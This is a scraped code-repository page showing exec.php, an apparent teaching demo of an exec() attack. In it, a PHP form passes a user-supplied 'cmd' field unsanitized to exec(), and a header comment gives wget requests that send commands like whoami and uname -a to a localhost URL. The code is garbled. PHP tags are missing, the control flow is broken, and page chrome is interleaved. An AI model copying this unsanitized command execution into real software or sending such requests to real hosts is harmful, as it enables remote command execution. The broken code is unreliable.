iframe-proxy | Sunbelt Computer Software

41 lines (39 loc) · 1.09 KB

/**********************************************************************
 * exec() attack
 * To demonstrate the exploit, try the following:
 * wget -qO- http://localhost:8080/owasp/html/exec.php --post-data="cmd=whoami"
 * wget -qO- http://localhost:8080/owasp/html/exec.php --post-data="cmd=uname -a"
 **********************************************************************/
// handle command requests
if (isset($_POST['cmd']))
    exec($_POST['cmd'], $output);
    $output=array();
        <title>exec() Attack</title>
    </head>
        <p>Available commands:</p>
        <form method="POST" action="exec.php">
            <select name="cmd">
                <option value='date' selected='selected'>date</option>
                <option value='cal'>cal</option>
                <option value='ls'>ls</option>
            </select>
            <input type="submit" name="exec() it!" />
        </form>
        <hr />
        <p>Output of last command:</p>
        <pre>
foreach ($output as $line)
    print "$line\n";
        </pre>
    </body>

Sunbelt Computer Software

PL/B Language Development and Support

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Sunbelt Computer Software

PL/B Language Development and Support

Uh oh!

FilesExpand file tree

exec.php

Latest commit

History

exec.php

File metadata and controls